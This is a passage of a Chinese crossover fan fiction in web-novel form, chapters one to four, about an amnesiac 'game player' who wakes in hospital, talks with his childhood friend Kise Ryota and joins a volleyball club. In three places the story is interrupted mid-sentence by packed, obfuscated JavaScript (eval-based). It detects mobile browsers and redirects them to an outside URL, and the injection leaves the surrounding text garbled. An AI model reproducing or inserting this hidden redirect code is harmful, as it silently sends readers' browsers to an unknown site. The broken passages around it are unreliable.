《失忆玩家今天也想通关》 1. 第一章 澄澈到似乎能荡涤一切杂物的蔚蓝天空,看不见延展的边际,整个人似乎都被笼罩在那漂亮透彻的蓝色之中。 少年不自觉地微眯起了眼睛,慢条斯理地调整手上的手套,然后缓缓抓紧,让手套和球棒一点一点咬合。感受着手中熟悉的触感,他微微拉低了帽檐,走向了那个赛场。 周围的一切似乎都被盛夏的暑意所扭曲,他看不清人的面容,无论是同一个球场上比赛的选手还是远处的看台。 余光瞥见的电子屏幕上,许多的字都挤成了密密麻麻的一团,唯有那鲜艳到刺目的红色清晰可见,不知为何,他能分辨出自己这一方的比分,以及此时手上的球棒被赋予的沉甸甸的意义。 他站立在打者席上,脚尖在那白色的方块上点了点,像是要将看得见的看不见的一起都甩开一般,球棒在他的手上转了一圈,然后球棒的顶端指向了眼前的投手。 原本耳边一直萦绕着的喧闹声像是一盘被按下暂停键的录像带,在诡异的沉默之后爆发出的更为热烈的欢呼声,透过面前那人亮得惊人的深蓝色眼睛,他看向了正前方看台上。 整齐划一的,肃穆的纯色,没有一丝杂色的白。 在这种蝉鸣不断的盛夏中,也显露出了与其格格不入的冷静。 但是就是这种异样的冷感也在此刻如同一滴水落入了沸腾的油锅一般,表现出了更为极致的狂热。 “那么,开始吧。” 他听见了自己的声音。 …… 高高跃起的白色小球如同一道流星,似乎要在天空中划出一道界限一般,没有停歇地一路飞向了看台上,但最后还是砸在了铁丝网上,落进了一路奔跑追随着的少年的手套之中。 而他的脚步则停留在了那块白色的方块之中。他是轻盈的,像是一只穿梭在林间的鹿,不似旁人的焦灼,即便是最后的机会被截停了,也仍然体现出一种不显山不露水的游刃有余之感。 就像在享受一般。 一种纯粹的快乐。 这是一种无关胜负的,轻快的享受。 胸腔里原本压在心脏上某些粘稠潮湿的东西似乎散开了一些,额角的汗液顺着眼眶掉进了下方的泥土中,湮出了一个深色的点,那滴汗液的主人透过头盔上的遮挡看向了他,无意识张开的嘴巴缓缓呼出了一口气。 即便是输了,也能露出这样的表情吗? 捕手已经过载的脑袋仍在坚持运转,思考比赛的同时也不由自主地分出一个角落去想这件事。 直到比赛终止的哨声被吹响,那人也没能离开那块白色之中,他双手撑在膝盖上,弯着腰,黑色的发丝遮挡住了他的侧脸,让人看不清他此刻的表情。 捕手摘开了头上的面罩,但是心脏上蔓延开来的窒息感攥住了他的咽喉,他感受到了一种即将被宣告死期的熟悉的恐惧感和麻木感。 投手走向了他的捕手,脸上没有什么表情,就像是比赛前那样,看不出丝毫胜利的喜悦。他用袖子随手擦了擦脸上的汗液,蓝色的眼睛望向了捕手,张开嘴似乎想要说些什么。 可是下一秒他却愣了一下,这份怔愣同时出现在了这对天才投捕上就更显难得,他顺着捕手的视线看向了自己的身后。 一个穿着白色的制服金发的少年从看台上一路奔向了他,一把抱起。而那个少年的神情就像是融化在了那一望无际的蓝色之中。 那会是笑容吗? 浅淡的,却又是那样剧烈。 似乎只要看着,脑袋里乱糟糟的一切都会被荡涤,最终回归天空。 让人忍不住落下泪来。 …… 【青春,梦想,胜负!】 【只要是运动员,就没有人不会渴望那座金色的奖杯!】 【欢迎来到青春&运动online——】 【这里是运动竞技的天堂~☆给你带来最真实的第二人生体验!】 【我们的口号只有一个:全国制霸!】 【准备好了吗?】 【让全世界,听见你的欢呼!!】 【不要大意地上吧!少年!】 【已为您加载当前的角色】 【……】 【当前坐标:163.23.12】 【欢迎您,玩家:夏树和真!】 【衷心期待您的结局。】 ...... 脑袋上缠着绷带的夏树和真盘腿坐在病床上,一脸凝重地翻看着面前摊开的杂志。 单人病房里,一眼看去全是大大小小的书籍报纸,花花绿绿地摆满了房间,几乎没有让人落脚的地方。 “啧,无聊。” 夏树和真一脸嫌弃地将原本翻来翻去的杂志随手扔到一旁,整个人横躺着,用手支着脑袋,从歪斜到角落里的枕头下面摸出了遥控器。 啪叽—— 他熟练地切换到运动频道。 【无论是胜利还是失败,现在都是过去的事实,就算是笑还是哭,也要等待比赛结束。今年的全国网球比赛也将由本台报道——】 【选手们的热情让今年夏天的炎热更早到来了呢,我也十分期待今年比赛,相信选手们也将为我们带来更加精彩绝伦的比赛。】 【……】 随着报道声音的消失,屏幕上出现了去年比赛的剪辑。 球场被镜头拉得更加开阔,黄绿色的小球在空中跃起,球鞋在地上摩擦的轻响,球拍击球的清脆,以及……那一张张挥汗如雨也抵挡不了的帅气面庞。 夏树和真确信自己在这一刻发现了某种真相。 他心念一动,一个淡蓝色的屏幕浮现在了他的眼前。 【姓名:夏树和真 年龄:17(头脑是国一但身体却是高二,虽然在一般的大众认知里无疑是笨蛋,但是你还是可以自满说自己是越活越年轻呀~) 身份:学生(乌野高中) 状态:昏迷一年,失忆,休学中。 背景介绍:你原本是众多对高中生活充满向往的新生之一,但天有不测风云,你在开学的第一天因为踩到了香蕉皮发生了车祸,昏迷了整整一年。可是没关系,你在今天醒了,你仍旧可以开启充满玫瑰色的校园生活。当然,这次还是作为高一“新”生。 精力:100(或许可以找一些事情消磨你无处发泄的精力?) 相貌:10±1 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533901|203759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' (天啦噜,如此完美的神颜,仅仅因为昏迷太久而憔悴了几分,但或许这对其他人而言并非减分项哦) 力量:5-2(住院太久,你的肌肉退化了不少) 速度:5-2(住院太久,你的感官迟钝了不少) 体力:3(你能指望一个刚出锅人的体力吗?) 技术:0(你什么也不知道,所以这也是理所当然的吧?) 智力:5±3(天才和笨蛋只有一线之隔) 幸运:1(神明不会怜爱你) 总体评价:除了一张脸其他一无是处的天崩开局。稳定发挥的,只有脸吗?不过只要看到这张脸的人,一定能原谅一切吧。但这其中,包括你吗?】 夏树和真盯着一如既往把他批得好像是天理难容的笨蛋的界面,无奈地摇了摇头,就像是一个成熟的大人在看什么无理取闹的小孩一样。 拜托,他可是玩家啊。 既然是玩家,那么这个面板上的属性被他刷爆也是迟早的事情吧? 尽管此时脑袋空空,但是还是露出令人火大的得意脸的夏树和真,悠哉悠哉地关了界面,伸手去拿床头柜上摆着的一盘切得极为精致的兔子苹果。 丝毫没有任何欣赏的意思,他直接嗷呜一口塞进嘴里,剩下的签子又再度插了一个,如此循环往复。 整个病房中充满了此人吃苹果的清脆声。看来住院的时间,丝毫不影响夏树和真的食欲以及他的牙口。 因为是神颜,所以无论哪里都会是完美的。 但抛去这个笨蛋让人火大的得意脸不说,一般人处于他的处境不说笑了,连冷静下来恐怕都要很长时间。 虽然知道自己是玩家,但他完全没有自己进入游戏前的记忆,有的只是他作为夏树和真度过了13年的人生。 如今加上昏迷的一年,现在的他生理意义上也有17岁。可他的记忆还停留在国一开学没多久的时候。 那场意外的车祸,连带着把他作为玩家的记忆和游戏中的3年都给撞没了。 玩个游戏还能把自己玩失忆也是没谁了。 夏树和真在苏醒后看到系统界面后极快地接受自己是玩家的身份,连自己失忆的事实也抛之脑后,叉着腰站在病床上大笑着,嚷嚷着“本天才驾到,弱旅们臣服吧。”之类的话,把开门的幼驯染吓得够呛这些事暂且不提。 在兴奋褪去后,他才终于开始知道找客服。 【夏树和真:我失忆了哇!连我作为玩家,进入游戏前的记忆都没有了!你要怎么赔我!】 【小南接入会话】 【小南:亲,是这样的。我们玩的就是真实。】 【夏树和真:?】 【小南:我们原本主打的就是沉浸式的真实体验感,请把失忆也当作游戏体验的一环,好好享受吧~】 【夏树和真:现在退出游戏的话,能恢复记忆吗?】 【小南:那是当然的,亲。】 【小南:不过亲,这个游戏没有中途退出的选项哦~】 【小南:游戏的最后时间节点就是高三,您毕业当天就是故事的结局。】 【小南:期待您抵达的结局。】 2. 第二章 铃铃铃。 “本该是这样的!啊啊……” 穿着黑色立领的高中校服,夏树和真整个人被衬得比往常还要光鲜亮丽不少。他耷拉着脑袋,整个人都倚在栏杆上,软趴趴地像是煮过头的面条。手上亮着的屏幕显示着通话界面,而通话的对象是备注着:超高校级甜心但分别ver. 午休的铃声已经在耳边响起,迷路了一上午终于抵达学校却因为肚子饿了干脆翘了最后一节课,自己摸到天台的夏树和真打着电话,脚下还放着已经吃完的便当。 “你听我说啊,凉酱——” “是是是,我一直在听哦。可是这也是没有办法的,毕竟小和真要是按心理年龄的话,现在应该回国一哦,小和真想回去吗?” “绝对不要!” “哈哈,速答。诚实的回答,非常好!老师要好好表扬你~来摸摸头!” “好哦——才怪!凉太明明比我小一岁吧?什么时候喜欢当别人的老师了?”夏树和真晃了晃脑袋,一直举着手机的右手也开始酸痛了,他干脆直接一个大字躺在天台,摊开的掌心上放着那个已经聊了超过一个小时的手机。 “嗯?只是小和真的老师哦,开玩笑的。因为按心理年龄来说,现在是小和真比我小?感觉有点新鲜~” “真的把我当小孩了?我不是你最帅气最天才的幼驯染了吗?” “诶——只能二选一吗?” “快——点——”夏树和真露出恶狠狠的表情。 “哈哈。”黄濑凉太用肩膀夹着手机,空出来的双手慢条斯理地撕开了手上面包的包装,阳光帅气的脸上佯装着苦恼了一番,然后答道:“还是幼驯染的小和真最高!我是坚定的竹马党,可恶的天降党速速退散!” “喂,这不是恋爱游戏!”夏树和真抗议。 “恋爱游戏才是王道!” “青春洋溢的高中生就应该玩运动竞技!” “哇——好强硬!”精准捕捉到某个关键词,黄濑凉太面上一直带着的笑意微不可查地僵硬了些许,右手接过了手机,左手拿着面包的手几乎要将内陷挤了出来,但是他说话的声音却一直保持着自然的腔调继续道:“说起来,出院前一天,小和真有说过呢,要加入社团……” “当然是运动社团,哼哼哼,这所学校有了本天才就不用担心了,称霸全国也不是什么遥不可及的梦想。” “哈、哈。”黄濑凉太干巴巴地笑了两声脸上的笑意彻底消失,他金色的眼睛微微下垂,长长的睫羽投下一层浅淡的阴影,他注视着手上已经挤出内陷的奶油面包,自言自语道:“……什么的,明明消失就好了。” “你说什么?凉太。我没听清,声音太小了!” “嗯?没什么哦。”明知此时的夏树和真看不见自己的表情,黄濑凉太却仍旧在听到声音的下一秒恢复成熟悉的样子,他毫不在意地咬了一大口面包,附着在塑料袋表面的奶油蹭到了嘴角,被他直接舔去。他边吃边道:“小和真这么喜欢运动的话,也不一定非要自己参与吧?不如来神奈川为我加油?篮球的话,我可是有自信带小和真去看全国的风景哦。” “太远了,每天电车往返6个小时什么的不可能吧?” “诶?”黄濑凉太愣住了,他敏锐地从这句话中抓住了什么,嘴比脑子更快道:“什么什么?小和真认真思考过了吗?” “啊?”夏树和真被这句话问得很困惑,他一个鲤鱼打挺,盘腿坐起,一只手支着下巴反问道:“这不是理所当然的吗?虽然国中我不记得了,但我们小学国中都是一起的吧?这种情况下我们高中不在一起才奇怪吧?而且还是去了神奈川这种离我这么远的地方,是外遇吗?是外遇吧?黄濑凉太君!” “这是我的台词吧?我可是问过小和真了哦,毕业进路的问题。但是你完全不肯回答我!结果自己一个人跑去宫城了,阿姨也很担心,更何况没多久你还因为车祸送进了医院!小和真知道当时我接到阿姨的电话的时候是什么心情吗?我差点被吓死了!” “啊。”虽然完全没有记忆了,但还是为此感到心虚的夏树和真声音弱了下来,他试图转移话题:“说起来,我得去网球部报道才行了。啊哈哈,时间真是不等人,即使是天才也要适当的努力,去社团挥洒青春才行。所以——” 夏树和真想挂电话了。 “等等……!” 夏树和真原本悬在挂断键的手,突然被黄濑凉太骤然高昂的声音吓得一个激灵。 “啊,挂断电话什么的,我完全没有……” “你说网球部?小和真你要去的原来是网球部吗?!”黄濑凉太手上的奶油面包再次遭受重创。 “嗯?对、对啊。”说到这个夏树和真突然又有精神了,他一脸神秘道:“我上次和你说我发现了一个秘密,你还记得吗?” “你说你发现了什么颠覆的真相之类的……” “哼哼,看在凉太是我的幼驯染的份上,我就告诉你吧。”夏树和真摩挲着下巴,一脸得意地说出了这个凝聚了他这几天汗水与智慧的结论。 “网球,只有脸好看的才是强者。” “?” “根据我数天的观察,长得好看的都是网球天才。而我,只是脸的话,可不会输。” “……哈哈哈哈哈,小和真你真的是天才啊!”黄濑凉太因为这个始料未及的答案笑得眼泪都要出来了。 “当之无愧。”夏树和真得意,“谦虚,低调。” “啊——你一直都是我心目中最耀眼的天才。”黄濑凉太说,“要开心啊,世纪第一的天才大人。” …… “什、么……!” 夏树和真因为巨大的冲击而瘫软在地,地面上静静地躺着一张入部申请书,上面潇洒的网球部三个大字,如今在他的眼中异常刺眼。 “无论要老师和你说多少遍,也改变不了我们学校没有网球部的事实啊。” 没有网球部。 世纪第一的天才大人的出道梦,没想到仅仅几个小时就破灭了。 夏树和真整个人一瞬间灰暗了不少。 郁闷的夏树和真郁闷地跟着老师回教室,郁闷地站在讲台上,郁闷地进行迟来的自我介绍。 “夏树和真,兴趣无,至于梦想……“夏树和真没精打采的,露出了像是在路上走的好好的,却平白无故被人浇了一桶冷水的倒霉蛋一样的表情,顿了一下说道:”在刚才就和午餐的香菜一起扔进垃圾桶了。” 简直像是用白开水煮的青菜一样的自我介绍,食之无味,弃之也不可惜。如果是其他人敢在新的班级上这样做自我介绍的话,那么在接下来的三年,他大概率都会因为每每回想起这个画面而羞愤欲死。 但是夏树和真是何人? 他压根就没有在意自我介绍好后班级里诡异的沉默,双手插兜,臂弯里挂着一个空瘪的徒有其形的书包,歪着脑袋看向眼角抽搐的老师。 “老师,我坐哪?” “……夏树君,先坐在靠窗那边的空位吧。” “好——” 拉长的尾音,无所谓的语气,穿得过于随意到如果忽略脸大概率会被认为是不良的制服。 铃木扶额,注视着夏树和真径直走向唯一的空位,然后随意地将书包一塞,没有从书包里掏出或许存在的文具,只是盯着光滑到反光的桌面看了一会,才不紧不慢地从外套口袋里拿出了一个皱巴巴的纸团。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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那双透亮的冰蓝色眼睛此刻半阖着,长长的睫羽投下一层淡淡的阴影,面无表情的脸上显出些许冷漠和锋利。 被讨厌了吗? 明明还只是单方面知道名字而已。 日向翔阳感到有些无措。 他张开嘴想要说些什么,但是话却硬生生地卡在喉咙中吐不出来。 日向翔阳是一个亲和力很强的孩子,哪怕是初次见面的人,他也能凭借着笑容和自来熟的性格顺利地和人交谈下去。可以说,在短暂的前半人生中,他从来没有因为人际关系上而苦恼过。 虽然在国中时期因为过于痴迷排球而把大多数的时间全部投注在排球上,他没有度过一个大多数国中生享受的和友人一起消磨时间的无聊又快乐的国中生活,但是即便是没有部员,没有伙伴,即便夕阳总是将他子和高高抛起的排球的影子一起拉得很长很长,日向翔阳毫无疑问也能问心无愧地说出自己度过的国中时间是快乐的。 只要在打排球,只要那熟悉的沉甸甸的感觉从手臂或者是手心上传来,日向翔阳认为自己总是快乐的。 可是,就是这样的日向翔阳难得因为人际关系而苦恼起来,他不明白自己为什么会这样去在意一个刚认识甚至对方还不知道自己的人的想法。 或许是因为一种莫名的直觉。 日向翔阳无意识地从这个人的身上感受到了一种熟悉的气息,一种因为某一个共同事物所联系在一起的感觉,一种更深层次的精神上的共鸣。 他们能够成为更加亲近的关系。 身体在还没有接触的时候,大脑就下定结论,并擅自产生出亲近感。 日向翔阳渴望伙伴。 3. 第三章 黄濑凉太最近很不对劲。 说起这个最近风光无限的一年级新生,脸,自然是不用说的,打篮球更是在国中被称为奇迹世代的家伙,堪称全能,全身上下拿着放大镜都找不到一个缺点的家伙。如果硬要说有什么不好的,或许就是此人的性格了。 自从黄濑凉太加入了海常的篮球部之后,以一年级的后辈王牌为中心,整个队伍焕然一新,海常的实力更是又上了一层台阶,而这种积极的变化自然也在无形之中影响了队伍之中的所有人,平常练习也更加有干劲了。可以说,篮球部算是这个学校离黄濑凉太最近,相处最多的,也因此对这小子的真实性格也有了一个初步的了解。 看上去热情爽朗,其实外热内冷,对不在意的人更是没心没肺。而黄濑凉太对于不在意的范围标准,更是显得性格恶劣起来。 或许这就是天才吧。 篮球部的前辈想。 拥有着常人难以匹敌的才能,无论做什么事都游刃有余,前十几年的人生更是一帆风顺,也因此难以理解常人的世界也是理所当然的。毕竟眼中看到的世界都是不一样的,又谈何理解呢? 不过就算是天才,现在也只是他们海常的后辈,而身为前辈,守望后辈是他们的责任。 因此在刚开学那会收到黄濑凉太这个大名鼎鼎的奇迹世代来了海常,除去兴奋外也做好了心理准备,势必要在初次见面中展现一番所谓的前辈的包容心。 结果硬生生等了一个星期,新人对抗赛都轮完了,也没见传说中的天才后辈的大驾光临,甚至一度怀疑是不是自己出现幻觉之际,还是笠松直接去了一年级才得知黄濑凉太开学第一天上午早退后直接请了长时间的事假。 不过因为一个星期之后就回来来了,整个人更是容光焕发,就像是外出度假了一般,原本就好看的脸似乎更帅气了几分。当然,这是和黄濑凉太同班人的评价,笠松原先也没见过他,所以对此持保留意见。 有变化,就意味着调整。 当所有人都在变化,有时候没有变化就会反而意味着退步 而今年注入新鲜血液的海常的磨合意外地顺利,其中尽管是一年级就迅速担任了队伍的核心黄濑凉太那符合外表的娴熟的社交技巧,让可能存在的人际摩擦直接扼杀在摇篮之中。 但是或许根本的原因并不是这个。 笠松看着场上不吝啬展现自己压倒性才能的黄濑凉太,敏捷的身姿,巧妙地躲过了一个又一个围堵看守的假动作,以及那无愧于天才名号的复制天赋。 在除去黄濑凉太之外的一军成员都没有上场的练习赛当中,也几乎是压倒性的胜利? 比分越拉越大。 几乎是一边倒的,毫无悬念的胜利,不是吗? 相信在场的人的心中都是这样想的,包括场上的选手。 笠松曾经见过这样的场景,尽管他升上了高中,但是他偶尔也会抽空去看自己后辈的比赛,同样是压倒性的比分,对手就是当时被称为奇迹世代的帝光中学。 包括黄濑凉太,甚至比他还要厉害的天才居然还有另外五人,而这五人组成的队伍几乎在全国国中打遍天下无敌手,虽然是国中生,但是实力哪怕是放到现在的高中也绝对在顶尖有一席之地。 或许也正是因为毫无疑问的实力,比赛成为了没有悬念的结果。 没有水花,没有意外。 这份令人毛骨悚然的死气从赛场蔓延到了观众席上,笠松却突兀地感到某些隐晦的躁动。 似乎有气流拂过他的手背,急促的,带着些许的焦灼的热意。 体育馆的后门被人打开了,黑发少年穿着在夏天略显厚实的外套,额头上贴着退烧贴戴着口罩,脸上唯一露出的一双眼睛,带着天空的蓝色,眼尾发红,整个人状态明显不好,身体还有些晃晃悠悠的,却仍然径直跑到了看台。 “凉——太——” 沙哑的,几乎是要把嗓子扯出血了一般,少年双手握在栏杆上,张开嘴喊着,但是那些话语一旦脱离了他,就几乎没有声音了,只有离他最近的笠松才勉强能听清楚。 但尽管如此,几乎是少年出现的一瞬间,黄濑凉太像是心有灵犀一样看向了看台。 “加——油!加、咳咳咳咳咳……!” 想要传达的话语,却像是断线的风筝,黑发少年剧烈咳嗽起来,几乎像是无法呼吸一样,一只手用力地扯住胸前的衣服,不受控制地半蹲下去,另一只手还紧紧地抓着栏杆。 笠松下意识地想要去扶他,可是手刚放在他的背后,就见到那双眼睛开始源源不断地流出泪水来,细碎的呜咽伴随着时不时的咳嗽,让他似乎难过极了。 为什么会难过? 是为朋友来加油的吗?明明是一目了然的胜利…… 笠松福至心灵地转头看向了那个场上的金发少年,晦涩的,控制不住颤动起来的双眼,他深吸了一口气,脸上像是要扯出笑一样,却只有嘴角的弧度改变了。 可笠松却觉得那个人和刚才的是完完全全的两个人。 场上跑动的金发少年,面色紧绷,看不出什么情绪,只是跑动间,左耳上的银色耳饰时不时闪过一道细碎的光。 死气沉沉的球场上意外感受到了一种活气。 一直躁动着的岩浆终于喷发了。 于是笠松便意识到了自己自己之前隐隐感受的异样是什么。 借由着这阵气流,搅动了几乎要停止流动的死水。 窒息感的褪去后,是自然而通畅的呼吸。 因为绝望和恐惧而麻木的双手双脚,模糊的视线,直到这一刻才意识到自己处于什么地方,意识到这脚下的场地,意识到头顶上的聚光灯。 而在这一刻,这场胜负才能真正被称之为一场比赛。 而这一个变化是全员的,无论是无聊的观众还是万念俱灰的对手亦或是面无表情的队友。 笠松轻轻拍着少年的后背,等到他好了一些后,见到他从口袋里掏出新的口罩戴上,才退开一步。 “谢谢。” 少年小声道谢,嗓子仍然不好,但听出一丝原本声线的清爽。 笠松点点头,尽管被他的手的温度吓了一跳,皱着眉头有些担心,但他还是什么都没有说。 莫名的,有些刺痛。 笠松看向赛场,中场的休息区里传来一道视线。 金发的不在。 笠松以为是自己的错觉,余光却突然瞥见了那显眼的赤色。 见到笠松望过来,穿着白色运动服的赤发少年很是平静,只是微微颔首,随即将视线落点落在了他的身旁。 错开视线,却恍然看见了一丝浅淡的色彩。 像是通透的,中心发出莹莹的白光,只有在那光的最微弱的地方窥见那颜色的真身。 笠松眼前闪过了黑发少年的眼睛。 只是一分神,却再也找不到刚才另一道视线的来源。 如同落在大海里的一滴水,悄然无踪。 …… “笠松前辈,那小子绝对是因为女朋友啊绝对是!” “对啊,一有时间就看手机,还会对着手机嘿嘿傻笑的,不是女朋友也绝对是和喜欢的人聊天。” 笠松慢半拍地拿起水壶,视线还在场上活跃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533903|203759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的黄濑凉太身上移开,他顺嘴接了一句:“不一定是女朋友,也有好朋友的选项吧。” “啧啧,前辈,你这就不懂了!黄濑的各种行为都符合青春期春心萌动的少男少女特有的征兆啦!” 旁边人说得煞有其事。 笠松笑了一声,说:“没有交往过的家伙,在哪本杂志看到的?” “呃啊,被前辈锋利的语言伤害到了,放学后没有一根冰棍就好不了了——” “得了吧,你这家伙……” 笠松没有惯着,一脚踢中了他的屁股。 而话题中心的黄濑凉太完全沉浸在自己的世界中,中场休息后,他擦汗喝水拿手机,一系列动作行云流水,一气呵成。 他在想夏树和真的事情。 正因为非常熟悉自己的幼驯染,所以哪怕是在失忆后,黄濑凉太也能理所当然地说出夏树和真就是夏树和真。 这一点,或许和隔壁的蓝毛有共同语言也说不定。 啊,好担心。 黄濑凉太像是个送孩子第一天上幼儿园的妈妈,忍不住瞎操心,一边想着自己幼驯染在不了解的人眼中容易被误解的性格,一边想着去学校第一天有没有顺利交到朋友之类的。 夏树和真失忆后完全回到原本的样子,不,或许更加猖狂自我。 在得知了夏树和真时隔一年终于苏醒的黄濑凉太,几乎在收到信息之后就火急火燎地搭着电车一路直奔宫城,在电车上忍了又忍,还是没忍住对着已经确认了八百遍的信息崩溃大哭,好在这个时间点过了人流高峰期,车上没有什么人,他所在的车厢他和另外一个深紫色头发的青年。 对面的人突然在座位上大哭,也没有影响到这个奇怪的青年,他悠哉悠哉地翘着二郎腿,一只手时不时抛着硬币玩,好整以暇、光明正大地看着黄濑凉太,丝毫没有什么尴尬的意思。 “喂喂喂,少年。” 黄濑凉太抬头。 青年拇指轻轻一弹,伴随着一声清脆的响声,硬币高高跃起,在空中划过一道漂亮的弧度。他眼睛都没抬,反手一抄,稳稳扣进手心里。 “今日天气晴朗,万里无云,是个许愿的好日子,只要许下了愿望就一定能心想事成。” 浑身上下都透露着不靠谱气息的青年,搓了搓手,继续道:“走过路过,不要错过,许愿不多不少只要5圆,很划算吧?” 大写着可疑的青年,如果放在平常黄濑凉太大概都不会理会,可是今天黄濑凉太心情实在太好了,前所未有的好,更何况价格不贵加上说的话戳中了他,于是就算不信他也会试着买个吉利。 黄濑凉太用袖子擦了擦眼睛,一边往口袋里翻找了一番,竟然真的摸出了一个5圆硬币。 “确实收下了,看来我们很有缘。”青年手中一变,原本的两个硬币都不见了,像是洞悉所有一般,他说:“一定没有问题的,你所担忧的一切都不会再发生了。” …… “我觉得我不应该在这里,我应该在富士山的山顶上!哇哈哈哈哈,臣服吧,动摇吧,颤抖吧,世纪的天才回来了!” 穿着病号服披着医院毯子当披风的夏树和真,双手叉腰站在病床上。 事实上,也确实如此。 因为安心而脱力的身体,黄濑凉太死死抱住夏树和真,原本停下的眼泪又开始不停流下。 只要是夏树和真的话,就一定没有问题。 黄濑凉太想。 拿着水壶对着手机的聊天框微微出神的黄濑凉太,手上突然震了震。 一个短信。 黄濑凉太面无表情地关了手机。 4. 第四章 “奇怪,刚刚有人叫我?” 夏树和真一个人走在路上,摸着睡得有些僵硬的脖子慢半拍想道。 出院之后除去身体上容易感到困倦之外,唯一可能对生活产生影响的也只有失忆,不过这个对于现在的夏树和真来说也几乎可以忽略不计。 丝毫不知道自己被幼驯染操心了半天,在某些地方显得格外没心没肺的某人,臂弯里依旧挂了个只有装便当一个价值的书包,独自走在校园里。 正值放学,和安静的夏树和真不同,周围洋溢着青春的气息。 无论是跑道上正在练习跑步的田径部,说说笑笑手里拿着慰问品的社团经理,以及耳边时不时能够听到的吹奏部的应援曲,又或者只是消磨放学后的无聊时间的普通学生。 “啊,可恶。” 夏树和真看着眼前悬浮着的界面,上面用着鲜艳的颜色标注着【网球部——入部失败】。 【主线任务:请加入社团】 社团,社团,这两个字在夏树和真眼前乱窜,他感到一丝烦躁,甚至升起了干脆一不做二不休跑去神奈川找幼驯染的打算。 不过念头升到了一半,就被他自己掐灭。 夏树和真想到了自己就在不久前的豪言壮志。 什么也没做就灰溜溜地跑到幼驯染那里求安慰什么的。 就算是夏树和真也觉得逊毙了。 夏树和真在内心里下意识地化用了被某个杂志上洗脑的某某下克上的运动员的口头禅。 于是,夏树和真无奈,只好另寻他路。 因为黄濑凉太满口的篮球,据说是在国二的时候开始认真打,但是因为完全失去了这部分的记忆,导致他没有什么实感。唯一有印象的还是在小学上体育课的时候,凉太被抓去当篮球部的后援,而他在旁边趁着这个大好时机开了赌局大赚了一笔后,放学路上和凉太去家庭餐厅吃了个爽的记忆而已。 嘛,也并不意外就是了,毕竟自己的幼驯染从小就天赋异禀,运动什么的,完全不在话下。 不过能让自己的幼驯染喜欢上的运动吗? 夏树和真有些好奇。 “先去篮球部吧。” 夏树和真双手插兜,开始一本正经地满校园乱逛。 也终于不负众望地迷路了。 …… “喂,你发什么呆。” 影山飞雄不爽道。 “啊,抱歉!我刚刚在想一点事……” “这么游刃有余吗?还有几天就要比赛了,你忘记了吗?” “不是啦,我就是有点在意……就是我们班上新来了一个同学,名字叫夏树和真。” 提起这个名字,日向翔阳的情绪就明显下降。 “哦。” 提到这个名字哪怕是影山也有些印象,毕竟就算隔着两个班,他们班的同学也兴奋地谈论着这据说神赐之颜的家伙。 不过影山飞雄并不是很在意,他现在只想着周末的比赛必须赢,他的脚步没有道理停在这种地方。 “再发呆我就回去了。” 影山把抛过来的球拿在手上,他瞥了眼日向翔阳,说:“下一个,发球。” 精准有力的发球直奔日向翔阳的脚边。 手臂只有一点碰到了球,也因此黄白的排球改变了落点,向着后面的方向飞去。 “诶……啊!” “日向你个笨蛋!” 日向翔阳没有任何犹豫,飞扑向前接球。 “啊,完全迷路了吧……要不今天干脆直接回家算了。” 夏树和真顶着个插着树枝的脑袋,拨开旁边碍事的灌木丛从小路出现在二人的视线当中,但是还没等他看清楚发生了什么,就被一颗飞来的排球完美砸中了正脸。 日向摔在了一边,呆呆地抬头看向被砸得流着鼻血而异常凶狠的,但是却不知为何更加帅气的脸。 “哈?开什么玩笑?” 夏树和真的声音慢半拍地传入二人耳中。 “你们竟然敢把这张国宝级的脸弄伤了,要怎么赔我啊?!” 夏树和真啧了一声,好在流的血不多,很快就止住了,他随意地用袖子擦了擦鼻血,看向僵在原地的二人。 “我会好好听的,所以……”夏树和真缓缓露出一个“和善”的笑容,“有的吧,一个完美的解释。" “咿——” 二人同时感受到了一丝寒意,忍不住倒吸了一口气。 …… “哼哼,原来是这样。” 夏树和真揉着还有点钝痛的鼻子,看着不知为何土下座的两人,听着日向翔阳像是倒豆子一样事无巨细地说完了从开学到现在的事迹,包括但不限于打飞了的校长的假发,被部长拒绝入部,被混蛋月岛挑衅,周末关乎生死存亡的比赛等等。 “排球吗?” 夏树和真歪了歪脑袋,思索了几秒,道:“嘛,排球也行吧。” 话音刚落,面前就弹出了熟悉的界面。 【主线任务更新】 【乌野高中排球部全国制霸!!】 【获得新生入学大转盘一次(高中ver.)】 【转盘形式有且仅有一次,再无获取途径,是否现在抽取?】 “哇哦。” 夏树和真露出了一个笑容。 那当然是…… 立刻!马上!抽! 转盘疯狂旋转,指针缓缓停在一个闪着金光的选项上。 「恭喜获得:发球双蛋黄(Lv.3)」 ……? 所以他到底抽中了个什么玩意儿? …… “总而言之,真的很抱歉,要是我的技术能更好一些,也不会砸中夏树同学了……” 日向翔阳耷拉着脑袋,像是一只被雨淋湿的小狗。 “同是打排球的,被球砸中一次两次也是没办法的。”夏树和真突然变得好说话。 “哎,夏树同学原来会排球吗?” “哼哼,人称排球的天才少年,说的就是我。” “哇,好厉害!” “天才……?” 